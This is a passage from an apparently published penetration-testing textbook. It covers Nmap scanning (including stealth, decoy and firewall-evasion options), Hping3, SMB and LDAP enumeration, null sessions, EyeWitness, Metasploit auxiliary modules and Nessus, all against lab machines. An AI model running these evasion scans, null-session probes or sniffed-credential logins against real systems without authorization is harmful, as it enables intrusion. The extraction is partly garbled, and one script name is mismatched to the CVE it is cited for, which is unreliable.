<target IP or hostname>.
We are going to scan a website that has given us legal permission to perform a2.
scan. Let's use the nmap scanme.nmap.org command:

Nmap scan 1

By performing a regular scan on a target or network, Nmap checks the
1,000 most commonly used TCP/IP ports on the target.
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Observing the output, Nmap was able to identify the open ports, determine3.
whether the open ports are TCP or UDP, identify the application layer protocols,
and find out the IP addresses (IPv4 and IPv6) of the target.

Identifying open ports on a target is like discovering an open door into the system, and
identifying services can help us to narrow our scope in searching for, and exploiting,
vulnerabilities.

To perform a scan on an IPv6 address, you can include the -6 operator, as
in: nmap -6 2600:3c01::f03c:91ff:fel8:bb2f.

Nmap isn't that difficult, right? Let's take a few more steps with Nmap in the upcoming
sections.

Performing a ping sweep with Nmap
At times, you may need to identify all live hosts on a network during a penetration test.
Nmap is able to perform a ping sweep across multiple targets, whether specifying a range
or an entire subnet. Using the -sn operator will allow you to perform a ping scan only on
the target:

Ping sweep with Nmap
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In the preceding snippet, Nmap has presented only the hosts that it thinks are alive on the
network segment and was able to look up the MAC addresses of each host to determine the
vendor.

If you would like to perform a range scan, you can use the
following syntax: nmap start ip addr - end ip addr.
If you would like to scan specific IP devices on a network, use
the following syntax: nmap host1 host2 host3.
Nmap also has support for scanning hosts that are listed within
a text file by using the following syntax: nmap –iL file.txt.

Let's now take things up a notch and learn more about how to use Nmap in the following
section.

Obtaining operating system and service versions
using Nmap
So far, we have been able to gather basic details about a target. We can use Nmap to help
users determine the operating system, the operating system version, and the service
versions of any running applications on a target.

Using the -A operator will initiate an aggressive scan, -O will profile the operating system,
and -sV will identify service versions.

Performing an aggressive type of scan can potentially be flagged by an
Intrusive Detection System/Intrusive Prevention System (IDS/IPS) or a
firewall appliance. Be wary of this, as a big part of penetration testing is
being as silent as possible to avoid detection.

Using the nmap -A -O -sV target command on our Metasploitable VM as our target
system, we will be able to obtain much more meaningful information about the target.
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As you can see in the following snippet, for each port that is open, Nmap has identified a
particular service operating on the port, and we were able to retrieve the application service
version details as well:

Operating system and service version

Scrolling down a bit more on the output, we can see that, by using the -O parameter, Nmap
was able to determine the type of operating system:

Detecting the kernel version
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At this point, we have a much better idea of our target, the Metasploitable VM. We know
all of the open ports, services, and service versions that are currently running, as well as the
operating system.

Nmap is awesome, isn't it? Let's learn how to use Nmap to scan a device that has ICMP
disabled.

Scanning host devices with ICMP disabled
When Nmap is about to perform a scan on a host, it sends a ping packet to the host to
determine whether the target is alive. If the target does not respond, Nmap will not attempt
to execute the scan. However, system administration and cybersecurity professionals
usually disable Internet Control Message Protocol (ICMP) responses on servers. Not
receiving an ICMP echo reply from a target would indicate that the target device is
down/offline; however, this technique sets out to basically trick a novice hacker into
thinking the host is simply not available. Using the –Pn operator during an Nmap scan will
skip the host discovery phase and treat the target as online.

The following is an example:

nmap -Pn 10.10.10.100

During a penetration test, if you are not able to discover live hosts on the network, don't be
overly concerned as network security professionals tend to apply security controls to their
end devices and networks. Nmap can detect hidden systems, bypassing firewalls and
network sniffers to detect security vulnerabilities on a host.

When performing a scan, there's a high possibility that the target will know a port scan is
being done by an attacker or a penetration tester. In the next section, we will describe how
to perform a stealth scan using Nmap.

Performing a stealth scan using Nmap
By default, Nmap establishes a TCP three-way handshake on any open TCP ports found.
After the handshake has been established, the messages are exchanged. The following
snippet displays the handshake process, where Host A wants to communicate with Host B:
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TCP three-way handshake

During a penetration test, we need to remain as stealthy as possible on the network. This
creates the effect of an actual hacker attempting to compromise the system/network
without being caught by the organization's security controls and systems. By establishing a
TCP three-way handshake with our target devices, we are making ourselves known to the
target.

Therefore, we are going to perform a stealth scan (half-open) using Nmap. A stealth scan
does not establish a full TCP handshake with the target:

The attacker machine tricks the target by sending a TCP SYN packet to a1.
particular port on the target if the port is open on the target.
A TCP SYN/ACK packet is returned to the attacker machine.2.
Lastly, the attacker sends a TCP RST packet to reset the connection state on the3.
target:

Stealth scan
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In our exercise, we are going to probe port 80 on our Metasploitable VM using stealth
scanning with Nmap. Using the -sS operator to indicate a stealth scan, and with the -p
operator scanning (probing) a particular port, we can execute the nmap -sS -p 80
10.10.10.100 command on our Kali Linux machine:

A stealth scan using Nmap

Using Wireshark, we are able to see the flow of packets between our Kali Linux machine
and the target. Packet number 18 indicates that an [SYN] packet was sent to the
Metasploitable VM, packet number 19 indicates that an [SYN, ACK] packet was returned to
the Kali Linux machine, and finally, packet number 20 indicates that our Kali Linux
machine sent an [RST] packet to reset the connection:

Stealth scan detected in Wireshark

The final result is that we were able to successfully probe a given port on a target system
and did not establish a network session between our machine and the target.

There are many services and protocols that use UDP as a preferred transportation method.
UDP applications do not respond to a typical port scan by default. Whenever you perform
a network/port scan using Nmap, the scanning engine searches for open TCP ports by
default; this means UDP ports are usually missed in the results. In the next section, we'll
take a look at performing a UDP port scan.
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Scanning UDP ports using Nmap
There are many application layer protocols that use User Datagram Protocol (UDP) as their
preferred transport protocol. Using the -sU operator will indicate the need to perform a
UDP port scan on a given target. Using the following command, we can achieve this task:

nmap -sU target

We have now acquired the skills to perform a UDP scan on a target device or network. In
the next section, we will take a look at evading security appliance and detection using
Nmap.

Evading detection using Nmap
Whenever a packet is sent from one device to another, the source IP address is included
within the header of the packet. This is the default behavior of the TCP/IP stack; all address
details must be included within all packets that need to traverse a network. In performing a
network scan on a target, our source IP address is included within all packets that our
machine, Kali Linux, sends to the target.

Nmap has the capability of using decoys to trick the target into believing that the network
scans are originating from multiple sources rather than a single source IP address. The -D
operator is followed by random IP addresses, which are the decoys. Let's assume we want
to scan an IP address, 10.10.10.100, and set three decoys: 10.10.10.14, 10.10.10.15,
and 10.10.10.19. We can use the following command:

nmap -sS 10.10.10.100 –D 10.10.10.14, 10.10.10.15, 10.10.10.19

Observing the following Wireshark capture, we can see that packets containing both our
source IP address and the decoys' IP addresses were used during the port scan on our
target:

Detecting decoys in Wireshark
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However, an RST packet is sent from the actual source address. Additionally, we can use
other operators such as --spoof-mac to spoof the source MAC address.

In the next section, we will learn how to evade firewall detection while performing a
network scan using Nmap.

Evading firewalls with Nmap
During your career as a cybersecurity professional, penetration tester, or ethical hacker,
you'll often encounter organizations—be they small, medium, or large enterprises—that
have some sort of firewall appliance or software on their network infrastructure.

Firewalls can prevent network scans and create a challenge for us as penetration testers.
The following are various operators that can be used in Nmap to evade firewalls:

Nmap's firewall evasion operators

Additionally, we can send custom probes with specific flags to a target and analyze the
responses.

In the following sections, we'll take a look at how to determine whether a stateful firewall is
present on a network.

Checking for a stateful firewall
In checking for a stateful firewall, we can send a probe to the target with the ACK flag
enabled. If no response is provided from the target, this would indicate that a firewall is
present:
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Stateful firewall present

However, if a packet is returned with the RST flag set, this would indicate that there is no
firewall on the target system:

Stateful firewall is not present

We can use the –sA operator on Nmap to perform an ACK scan on a target. Let's perform a
scan on our Metasploitable VM to determine whether port 80 is open, and whether the
system has a firewall present:

Use the nmap -sA -p 80 <target> command:1.

ACK scan using Nmap
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We were able to identify port 80 as opened and unfiltered (no firewall) on the2.
target. Additionally, by observing the packets, we saw that an RST packet was
returned to our Kali Linux (attacker) machine:

The port scan shown in Wireshark

Whenever you run a scan on a target and the results indicate filtered, this means there is
a firewall present and that it's actively monitoring the port, as shown in the following
screenshot:

Detecting a filtered port using Nmap

Additionally, the following operators can be used to determine whether a firewall is
present on a system:

Operator Description
-sX Performs an XMAS scan. The URG, FIN, and PSH flags are all set.
-sF Performs a FIN scan. Only the FIN flag is set.
-sN Performs a Null scan. No flags are set.

Additional Nmap operators

Nmap will interpret the responses and determine whether the ports on a target are filtered
or unfiltered.

Having completed this section, you are now able to use Nmap to profile a target. In the next
section, we will learn about the Nmap Scripting Engine (NSE).
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NSE scripts
NSE is one of the most powerful features within Nmap. It allows users to create and
automate scripting to perform customized scans on a target device. By performing scans
using various Nmap scripts, you can quickly detect whether your target is susceptible to a
known vulnerability, malware, open backdoors, and so on.

The following are the main categories of NSE scripts:

NSE categories

To execute an entire category of scripts, we can use the --script category command.
The following snippet is an example of using the vuln category of scripts during an Nmap
scan:

Vulnerability found using NSE
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Running an entire category of scripts may not always be suitable for various situations. If
you are performing a scan to search for systems that contain a specific vulnerability, such as
vsFTPd 2.3.4 backdoor (CVE-2011-2523), you can use the following command:

nmap --script ftp-proftpd-backdoor target

Each NSE script is stored locally on Kali Linux in the /usr/share/nmap/scripts
directory. However, you should become familiar with using NSE scripts, as this will help
you to save time and find specific information about a target much more quickly. To help
you to further understand NSE scripts, please visit the official NSE documentation website
at https://nmap.org/ nsedoc/ . The repository contains a detailed description of each NSE
script available.

Having completed this section on Nmap and NSE, let's now learn about Zenmap, the GUI
version of Nmap.

Zenmap
Zenmap is the graphical user interface (GUI) version of Nmap and is supported on
multiple platforms, such as Windows, Linux, and macOS. The creation of Zenmap was
geared toward beginners as it's easier to use than the traditional command-line interface of
Nmap. To download Zenmap on your system, please visit https:/ /nmap. org/ zenmap/ .

The following shows the Zenmap interface. It's quite simple to use: simply enter the target
and select the type of scan you would like to perform. Depending on the type of scan you
select, the necessary Nmap operators will be set in the command field.

To demonstrate, let's perform a quick scan on our Metasploitable VM by observing the
following steps:

Enter the IP address of our target.1.
Select the Quick scan option from the Profile menu.2.
Click on Scan to begin, as shown in the following screenshot:3.
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The Zenmap interface

Once the scan has completed, click on each tab to get further details about the target. If
you're performing a scan on an entire network, the Topology tab will help you create a
network diagram of the target network.
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Customized scanning profiles can be created on Zenmap by performing the following
steps:

To create a new scanning profile, click on Profile | New Profile or Command.1.
The Profile Editor will open, providing you with all of the options available for2.
scanning in Nmap, as shown in the following screenshot:

Zenmap Profile Editor
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Be sure to visit each tab and familiarize yourself with the various options available, since
they will be useful in the future.

As you saw, Zenmap is very easy to use and user-friendly. In the next section, we will learn
about Hping3, another tool with which to perform scanning.

Hping3
Hping3 is a command-line tool that allows a user to analyze TCP/IP messages on a
network. Additionally, Hping3 allows use to assemble network packets, which can be
beneficial to a penetration tester in performing device and service discovery and offensive
actions, such as a Denial-of-Service (DoS) attack.

Hping3 is a tool that can perform the following tasks:

Host discovery on a network
Fingerprinting host devices to determine services
Sniffing network traffic
Flooding packets (DoS)
File transfer

As mentioned in the previous section, there are many servers and devices that have ICMP
responses disabled as a security precaution. We can use Hping3 to probe a port on a target
system to force an ICMP response back to our attacker machine.

To get started using Hping3, let's use the following steps to perform a port scan on port 80:

We use the ping utility to send four ICMP echo request messages to our1.
Windows Server machine (firewall enabled and ICMP disabled):

Pinging a target
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Our attacker machine (Kali Linux) did not receive any responses from the target.2.
A novice hacker would assume the target is offline and would probably move on.
However, using Hping3 to probe a specific port by sending SYN packets will
force the target to reveal itself. Using the hping3 -S target ip addr -p
port -c 2 syntax, we get the following responses:

Port scan using Hping3

By looking at our results, we can see we have received successful responses from
our target. This means that the 10.10.10.14 device is online and that port 80 is
open.

The -S operator indicates the sending of SYN packets, -p allows you to
specify destination port numbers, and -c specifies the number of packets
to be sent.

Additionally, we can take this step a bit further by performing port scanning on a3.
range of network ports on a target device. Using the hping3 -8 20-1000 -S
10.10.10.14 command, we are able to perform an SYN scan on a range of ports
from 20-1000 on our target. The following snippet indicates that ports 80, 135,
139, 445, 902, and 912 are open on our target:

Stealth scan using Hping3
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There are many more operators that can be combined when using Hping3; please be sure to
check out the Help menu using the hping3 -h command on the Terminal.

Now that you are familiar with using Hping3 as a scanner, let's take a deep dive into
performing enumeration on a target device.

SMB, LDAP enumeration, and null sessions
In this section, we are going to take a look at using various application protocols to help us
extract sensitive data and records from a target system.

SMBmap and SMBclient
SMBmap is a popular and easy-to-use tool that is used to help us discover any SMB shares
on a device and detect permissions on any shares found:

Using the smbmap -H target syntax, we can attempt to perform a port scan,1.
looking for ports that are used by the SMB service; in our target, it's 445 and it's
open:

SMB shares
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SMBmap will attempt to establish a session between the attacker machine and2.
the target on port 445 to enumerate any share drives and folders. On our target
(Metasploitable), there's the tmp folder, which gives us read and write
permissions.
Using the smbmap -H 10.10.10.100 -r tmp command, we will be able to list3.
the contents of the directory specified. In our example, we are listing the content
of the tmp folder, as shown in the following screenshot:

SMBmap enumeration

SMBmap is an excellent tool for enumerating SMB shares on target devices; however, it's
always good to have another tool available in your arsenal. Other tools include SMBlookup,
SMBclient, and Nmap.

Further information about SMBmap can be found at: https:/ /tools.
kali. org/ information- gathering/ smbmap.
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SMBclient is another handy tool and works in a similar fashion to SMBmap. To enumerate
SMB services on a target, we can use the smbclient -L //target command:

SMBclient enumeration

SMBclient will attempt to extract any shares on the target device, as seen in the previous
screenshot. Further information on SMBclient can be found at: https:/ /www. samba. org/
samba/docs/current/ man- html/ smbclient. 1.html.

Having completed this section, you have gained the skills to use both SMBmap and
SMBclient to perform SMB enumeration on a target. In the next section, we will briefly
discuss another popular tool for SMB enumeration, Enum4linux.

Enum4linux
Enum4linux is an enumeration tool capable of detecting and extracting data from Windows
and Linux operating systems, including those that are Samba (SMB) hosts on a network.
Enum4linux is capable of discovering the following:

Password policies on a target
The operating system of a remote target
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Shares on a device (drives and folders)
Domain and group membership
User listings

To scan a target, use the following command: enum4linux target. The tool will perform
all the checks and enumeration that it can perform. The output can be a bit overwhelming
at first: be sure to check the details carefully as they will contain meaningful information
about your target.

Enum4linux comes in handy at times for performing a scan on the network to discover any
shared resources. In the next section, we will take a deep dive into LDAP enumeration on a
Windows network.

LDAP enumeration
The Lightweight Directory Access Protocol (LDAP) is used to query a database or
directory type of service. A common example is a corporate environment with an Active
Directory (AD) server that manages the user accounts of the entire organization. End 
devices such as desktop computers need to query the AD server each time a user is
attempting to log in to that desktop computer.

LDAP uses port 389 by default; however, packets are sent across the network in plaintext.
Additionally, using LDAPS (LDAP Secure) ensures that the information sent between a
client and the LDAP server is encrypted by default; LDAPS uses port 636 by default. We
can use Nmap to scan for devices on a network that has ports 389 and 636 open.

We can use a tool called JXplorer (http:/ /jxplorer. org) to perform LDAP enumeration.
This tool is not natively installed in Kali Linux; therefore, we'll need to download it from its
GitHub repository and run it.

To get started with LDAP enumeration, let's use the following steps:

Use the following command to download and execute the tool:1.

git clone https://github.com/pegacat/jxplorer.git
cd jxplorer
chmod +x jxplorer.sh
./jxplorer.sh
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Once you successfully execute the ./jxplorer.sh script, the user interface will2.
open. Click the Connect icon (located under File) to insert the details of your
target:

The JXplorer interface

In our lab, we have a Windows Server machine with the following configurations:

Active Directory Domain Service installed
Active Directory Lightweight Directory Services installed
Domain: pentestlab.local
The user account created: bob (belongs to the domain admin user group)

Assuming that, by using a packet sniffing tool such as Wireshark during a penetration test,
you are able to capture user credentials while they are attempting to authenticate to the AD
server, you can use these user accounts in the Security field in the preceding screenshot.
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Using an administrator user account will provide the necessary privileges to extract
information in JXplorer; you'll be able to enumerate sensitive information from the Active
Directory server, as shown in the following screenshot:

LDAP enumeration with JXplorer

You'll be able to view the entire directory from your attacker machine and extract sensitive
information. If the service only uses LDAPS, this will be a challenge as the user credentials
will be concealed.

Having completed this exercise, let's use the rpcclient tool to perform a null session attack
in the next section.
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Null sessions
In a null session, an attacker is able to log in to a target using a null account. A null account
is an account that does not actually exist. How is this possible? Some systems are
vulnerable to allowing anonymous login. Once a user is able to log in anonymously, the
null user is able to retrieve sensitive information stored on the target.

We can attempt a null session enumeration from our Kali Linux machine (attacker) on to
the target, Metasploitable, by using the rpcclient -U "" 10.10.10.100 command, as
shown in the following screenshot:

A null session attack

Using the srvinfo command, the target will return its operating system type to us. For a
full listing of query commands, you can use the rpcclient --help command.
Additionally, you can visit https:/ /www. samba. org/ samba/ docs/ current/ man- html/
rpcclient.1.html.

Keep in mind that not all machines are vulnerable to this type of attack, but it's still worth
performing during a penetration test. In the next section, we will discuss user enumeration
through noisy authentication controls.

User enumeration through noisy
authentication controls
Enumeration is the technique in which a hacker or a penetration tester attempts to perform
a brute-force attack to either guess or confirm valid users on a target system. A simple
example is where a malicious user or a penetration tester performs a password-guessing or
brute-force attack on an email portal.
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The following is an example of a typical login portal. The credentials shown in the
following screenshot are an example and are not real:

An attacker can attempt various combinations of possible usernames and passwords until a
valid user is found. However, such attacks are considered noisy rather than stealthy (quiet).
As a comparison, imagine you are playing an online first-person shooter game, and your
task is to invade the enemy base and steal a trophy without alerting the guards. If you are
not careful enough and make any loud noises, the guards will be alerted and the mission
will fail. In this analogy, the guards are the security controls, and the sensors are the
firewalls, IDS/IPS, and anti-malware protection. Hence, this technique is not quiet on a
network; however, this method can still get you access to a system, provided that the
security controls do not perform a lockout action before you can gain access.

A lot of times, when a user enters an incorrect username on a login portal, an error message
is returned, usually stating that an incorrect username has been entered. This clearly tells an
attacker that the username provided does not exist in the database. Additionally, if the
incorrect password was entered, the system usually returns a message stating that an
incorrect password was entered for the username. So, from an attacker's point of view, the
system is telling us that the username exists in the database, but we have not provided the
correct password for it.

Web developers and security professionals now include generic responses when either a
username or password is incorrect, with a similar message to this: The username/password is
incorrect. This message does not state exactly which value is correct or incorrect.

Now that you have a better understanding of noisy authentication controls, let's attempt to
perform web enumeration in the following section.
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Web footprints and enumeration with
EyeWitness
EyeWitness is a tool that allows a penetration tester to capture screenshots of a website 
without leaving the Terminal—the tool does all of the work in the background. Imagine 
having to visually profile multiple websites, open Virtual Network Computing (VNC)
servers, and use Remote Desktop Protocols (RDPs). This can be a time-consuming task.
EyeWitness takes the screenshots, stores them offline, and provides an HTML report:

To begin, you'll need to download EyeWitness from its GitHub repository using1.
git clone https://github.com/FortyNorthSecurity/EyeWitness.git.
Once the download has completed, access the root/EyeWitness/setup2.
directory and run the setup.sh script using the following sequence of
commands:

EyeWitness setup screen

Once the setup process is complete, use the cd .. command to go one directory3.
up to the root/EyeWitness directory. To screenshot a single website, use the
following command:

./EyeWitness.py --web --single example.com

You can try this tool on one of the web applications on Metasploitable or OWASP
BWA virtual machines.

EyeWitness allows you to specify various protocols using operators such
as: --web, --rdp, --vnc, and --all-protocols.
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Once the task completes, EyeWitness will indicate whether it was successful in4.
capturing screenshots of the target(s) and provide you with the location of the
offline report, as seen in the following screenshot:

EyeWitness reporting wizard

Upon opening the HTML report, the left-hand column contains information5.
about the web request, while the right-hand column contains the screenshots:

Report from EyeWitness
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This tool is very handy when profiling multiple services and websites at once.

Further information on EyeWitness can be found at https:/ /tools. kali.
org/information- gathering/ eyewitness.

Now that you have completed this section, you are able to perform web enumeration using
the EyeWitness tool.

Metasploit auxiliary modules
Metasploit is an exploitation development framework created by Rapid7 (www.rapid7.com).
Metasploit contains many features and functions for penetration testing. There are many
modules, such as exploits, payloads, encoders, and auxiliary. The auxiliary module
contains port scanners, network sniffers, fuzzers, and a lot more to facilitate the
information-gathering phase of a penetration test:

To access the Metasploit interface, open a new Terminal and execute the1.
following commands:

service postgresql start
msfconsole

Once the user interface loads, the show auxiliary command will provide a list2.
of all of the auxiliary modules within Metasploit. Let's use a simple example to
demonstrate how to use a module: let's imagine you would like to perform a
stealth (SYN) scan on a target. You can begin by selecting a module.
Use the use auxiliary/scanner/portscan/syn command.3.
Check the description and requirements by using the show options command.4.
This module requires that a remote host is configured; use the set RHOSTS5.
target command.
To execute the module, use the run command.6.

||||||||||||||||||||

||||||||||||||||||||

https://tools.kali.org/information-gathering/eyewitness
https://tools.kali.org/information-gathering/eyewitness
https://tools.kali.org/information-gathering/eyewitness
https://tools.kali.org/information-gathering/eyewitness
https://tools.kali.org/information-gathering/eyewitness
https://tools.kali.org/information-gathering/eyewitness
https://tools.kali.org/information-gathering/eyewitness
https://tools.kali.org/information-gathering/eyewitness
https://tools.kali.org/information-gathering/eyewitness
https://tools.kali.org/information-gathering/eyewitness
https://tools.kali.org/information-gathering/eyewitness
https://tools.kali.org/information-gathering/eyewitness
https://tools.kali.org/information-gathering/eyewitness
https://tools.kali.org/information-gathering/eyewitness
http://www.rapid7.com
https://technet24.ir
https://technet24.ir


Active Information Gathering Chapter 6

[ 212 ]

The following screenshot is a demonstration of a stealth scan on our Windows7.
Server machine (10.10.10.14) and the results provided at the bottom indicate
that various ports were found open:

Additionally, to search for a module within Metasploit, using the search8.
keyword syntax can be very useful as there are a lot of different modules in the
framework, and learning them all can be very challenging and overwhelming.

In the later chapters in this book, we will dive deeper into using Metasploit to perform
exploitation on target devices in our lab.

Summary
During this chapter, we covered various DNS interrogation techniques using a variety of
tools to discover important servers, subdomains, and IP addresses, and were able to
successfully extract the zone files from a DNS server (zone transfer) due to a
misconfiguration on the target's DNS server.
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Then, we used Nmap to perform various types of port scanning to determine the port
status, running services and their versions, and the target's operating system; we also
gained an indication of whether there's a firewall on the target. Finally, to close this chapter,
we performed SMB and LDAP enumeration to gather user shares and directory records on
our network devices.

Now that you have completed this chapter, you'll be able to successfully perform DNS zone
transfers on vulnerable DNS servers; profile a system to discover its operating system,
running services, and security vulnerabilities; evade detection while performing network
scans; and perform LDAP and system enumeration on a target. You also obtained the skills
to visually profile multiple websites at once. I hope this chapter has been helpful to your
journey in learning penetration testing.

In Chapter 7, Working with Vulnerability Scanners, we will cover the importance of using
vulnerability scanners to find security weaknesses and flaws on a target.

Questions
The following are some questions based on the topics we have covered in this chapter:

What is the primary purpose of using DNS?1.
What is meant by a DNS zone transfer?2.
What tool allows us to perform a scan on a target system and determine its3.
running services and operating system?
What method is used to evade a firewall during a scan?4.
What tool can be used to enumerate Active Directory?5.

Further reading
Information Gathering and Vulnerability Assessment: https:/ /hub. packtpub.
com/information- gathering- and-vulnerability- assessment- 0/ 

Open Source Intelligence: https:/ /hub. packtpub. com/ open- source-
intelligence/ 

Gather Intel and Plan Attack Strategies: https:/ / hub.packtpub. com/ gather-
intel-and- plan- attack- strategies/ 
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3
Section 3: Vulnerability

Assessment and Penetration
Testing with Kali Linux 2019

This section exposes the reader to various vulnerability scanners and their purpose and
functionality, as well as penetration testing, and assists in identifying security weaknesses
in a system or network and how to exploit them.

Furthermore, readers will acquire experience of hands-on penetration testing techniques
and methodologies by using various tools in Kali Linux 2019. The reader will be taken
through all the pertinent stages, from discovering vulnerabilities on a target to exploiting
various operating systems and web applications.

This section comprises the following chapters:

Chapter 7, Working with Vulnerability Scanners
Chapter 8, Understanding Network Penetration Testing
Chapter 9, Network Penetration Testing - Pre-Connection Attacks
Chapter 10, Network Penetration Testing - Gaining Access
Chapter 11, Network Penetration Testing - Post-Connection Attacks
Chapter 12, Network Penetration Testing - Detection and Security
Chapter 13, Client-Side Attacks - Social Engineering
Chapter 14, Performing Website Penetration Testing
Chapter 15, Website Penetration Testing - Gaining Access
Chapter 16, Best Practices

Technet24
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7
Working with Vulnerability

Scanners
The discovery and analysis of security vulnerabilities play important roles during a
penetration test. Before a penetration tester or an ethical hacker can successfully launch an
exploit, they must be able to identify the security weaknesses on the attack surface. The
attack surface is the area where an attacker can attempt to gain entry to or exfiltrate data
from a system. A strategic approach to quickly identifying vulnerabilities and obtaining a
severity rating is to use a known and reputable vulnerability scanner.

There are many popular and reputable vulnerability scanners, such as Acunetix, OpenVAS,
Qualys, Nexpose, Nikto, Retina Network Security Scanner, and Nessus, to name a few in
the industry. Having knowledge about all these tools is a good idea, but you won't want to
run every tool as some of these are commercial and subscription-based services.

Choosing a vulnerability scanner as your preferred choice is quite important because there
are many times a vendor of a product may not provide updates quickly enough to detect
threats and weaknesses within a system, and this may be crucial to you as a penetration
tester. Imagine running a scan to identify whether a system is susceptible to a particular
exploit and the tool you're using doesn't contain the signature update to detect such a
vulnerability; the results may not be fruitful.

During the course of this chapter, we will explore using Nessus as our preferred
vulnerability scanner.

||||||||||||||||||||
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In this chapter, we will be exploring the following vulnerability assessment tools and
topics:

Nessus and its policies
Scanning using Nessus
Exporting Nessus results
Analyzing Nessus results
Using web application scanners

Technical requirements
The following are the technical requirements for this chapter:

Kali Linux: https:/ /www. kali. org/

Nessus (Essentials): https:/ / www.tenable. com/ products/ nessus/ nessus-
essentials

WordPress Server: https:/ /www.turnkeylinux. org/ wordpress

Nessus and its policies
Nessus is one of the most popular and reputable vulnerability scanners in the industry and
is used by many professionals within the field of cybersecurity. It has become the de facto
industry standard for performing vulnerability assessments among cybersecurity
professionals. Some of the benefits of using Nessus include the following:

Discovery of over 45,000 Common Vulnerabilities and Exposures (CVEs)
Contains over 100,000 plugins (used to discover vulnerabilities)
Frequent updates of new plugins for newly disclosed vulnerabilities
Able to identify over 100 zero-day vulnerabilities for the past three years

Let's log in to Nessus on our Kali Linux machine; firstly, you'll need to enable the Nessus
service using the following command within a Terminal window:

service nessusd start

Technet24
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Once the service has been successfully enabled, open the web browser in Kali Linux, enter
https://localhost:8834 within the address bar, and hit Enter. You should see the
following login portal:

Log in using your user account, which was created during the setup process. Once you are
logged in, the main dashboard is available. Here you'll be able to configure and access
policies and plugin rules, create new scans, and view results. The Nessus user interface is a
very simple-to-use interface, and in a very short time you'll be very familiar with it.

Nessus policies
Within the Nessus application, there are many existing policies for various purposes, and
new ones are added to the database quite often. Nessus policies are the parameters that
control the technical aspects of a scan on a target system. To elaborate further, the technical
aspects of a scan may include the number of host devices to scan, the port numbers and
services, protocol type (TCP, UDP, and ICMP), the type of port scanner, and so on.

||||||||||||||||||||
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Nessus policies also allow the use of credentials (usernames and passwords) for local
scanning on Windows-based operating systems, database applications such as Oracle
platforms, and other application-layer protocols such as FTP, POP, and HTTP.

There are preinstalled policies that help security practitioners to perform compliance
auditing on systems. An example is checking whether a network that handles payment
card transactions is vulnerable, using an internal PCI network scan. This policy would
check for any vulnerability according to the Payment Card Industry Data Security
Standard (PCI DSS).

The Nessus policies allow the scanning of malware infections on Windows operating
systems by comparing the hash checksums against both good and malicious files on a
target system. This policy is quite handy when determining the number of hosts infected
with a type of malware on the network.

To get started with policies on Nessus, ensure you are currently logged in to Nessus. On the
left pane, click on Policies. The following screenshot shows the currently available policies
within the home edition of Nessus. However, if you would like to unlock the other plugins
and policies, you'll need to acquire the professional edition:

As mentioned before, a policy contains predefined configurations for scanning a target in
search of specific vulnerabilities and to ensure a system meets the compliance standard.
However, as a security professional, you will need to customize your own scanning policies
to perform vulnerability assessments on various types of systems.

Technet24
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Scanning with Nessus
Performing a vulnerability scan using Nessus is quite simple. In this section, I will guide
you through the process of creating a customized scan.

To create a new scan, use the following procedure:

On the top-right corner, click on the New Scan button as shown in the following1.
screenshot:

You'll have the option of using one of the predefined policies available. If you2.
would like to create a custom scan for a target, select the Advanced Scan policy
as shown in the following screenshot:
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The policy/scan wizard will open, providing you with many options to3.
customize your new scan. On the General tab, ensure you insert a name and
description as they will aid in identifying the purpose of this new scan/policy; be
sure to include your target(s):

You'll have the option to schedule how often the scan/policy should run: once,4.
daily, weekly, monthly, or yearly. This feature allows the automation of running
periodic vulnerability scans on target systems. Should you decide to create a
schedule for the scan, you can use the options to set the date and time, the time
zone, and how often to repeat:

Technet24
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If you'd like to receive email notifications of the status of a scan, simply click on5.
the Notifications tab and enter the recipient's email address. However, ensure
you've configured the SMTP server settings, which will handle the delivery of
email notifications.
To access the SMTP server settings, go to6.
https://localhost:8834/#/settings/smtp-server.

The Discovery tab contains the following options:

Host Discovery: Provides options available to discover host
devices on a network by using ping methods (ARP, TCP, UDP, and
ICMP), discovering network printers, Novell NetWare hosts, and
operational technology devices.
Port Scanning: Provides customizable options for scanning a range
of ports or a single port, performing enumeration of Secure Shell
(SSH), Windows Management Instrumentation (WMI) using the
netstat tool and Simple Network Management Protocol (SNMP).
Performs network scanning on TCP and UDP ports and stealth
scanning.
Service Discovery: Allows the mapping of each found service to a
port number.

||||||||||||||||||||
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The Assessment tab contains the following options:

Brute Force: Performs brute force testing on the Oracle database,
and attempts logins to websites using Hydra.
Web Application: Web application vulnerability testing.
Windows: Attempts to enumerate domain and local user accounts.
Malware: Scans for malware.

The following screenshot displays the options as outlined in the preceding
section:

Once you've completed customizing your policy, click on Save. The new7.
policy/scan will be available in the My Scans folder (left panel). To launch the
newly created policy/scan, click the scan and select Launch.

Now that you have an understanding of how to perform a scan using Nessus, let's take a
deep dive into understanding the results Nessus produces in the next section.

Technet24
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Exporting Nessus results
Whenever a scan has been completed, we can simply click on it to access a very nice
dashboard with the statistics. Exporting the results in various formats, such as PDF, HTML,
CSV, and so on, is quite simple. Exporting the results will allow you to save the report
offline. This will be beneficial as a penetration tester for either revisiting the vulnerability
assessment details at a later time or providing the report to the people concerned (clients or
team members).

To export the results of a Nessus scan, follow these steps:

Open the scan and click on Export:1.
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You'll have the option to select the output format. Then, the export wizard will2.
provide another option to generate the final output as an Executive Summary or
to customize a report to your personal preference:

Should you choose to create a custom report, the following options are available:3.

The executive report is better suited for upper management staff who are not concerned
about all the technical details of the vulnerability assessment but rather the main overview
of the report. The custom report can be used to include or remove specific details, based on
what is required and the reader's interest.
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The following is a sample of the executive report generated for a vulnerability scan on the
Metasploitable VM within our lab:

As you can see, a severity rating and a score are assigned to each vulnerability found on the
target. The Common Vulnerability Scoring System (CVSS) is a quantitative vulnerability
scoring system that helps security professionals to determine the severity of a threat,
exploit, or even a security weakness.
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Further information on CVSS can be found on the FIRST website at
https:/ /www. first. org/ cvss/ .

In this section, you have learned about the various formats for exporting Nessus results, the
benefits of exporting reports offline, and types of reports. In the upcoming section, we will
dive deep into analyzing the output/results provided by Nessus.

Analyzing Nessus results
Creating and performing a vulnerability scan with Nessus is quite easy; however, the
mindset of a cybersecurity professional is most needed during the analysis phase. Nessus
makes the analysis of the results easy. When a scan has been completed, you'll be able to
view the list of vulnerabilities found by selecting the Vulnerabilities tab, as shown in the
following screenshot:
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Now, we are able to see a list of vulnerabilities found on the target. Nessus provides us
with the severity rating, name of the vulnerability, and the amount found:

To get more details on a vulnerability, click on the specific vulnerability, such as the one
highlighted in the preceding screenshot. Nessus will provide you with a detailed
description of the selected vulnerability, the risk information, plugin details, remediation,
and external referencing, as shown in the following screenshot:
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Using this information, a penetration tester can quickly identify the weakest points on a
target, and narrow the scope when choosing payloads to exploit the target.

Now you have a firm understanding of Nessus and its capabilities. In the next section, we
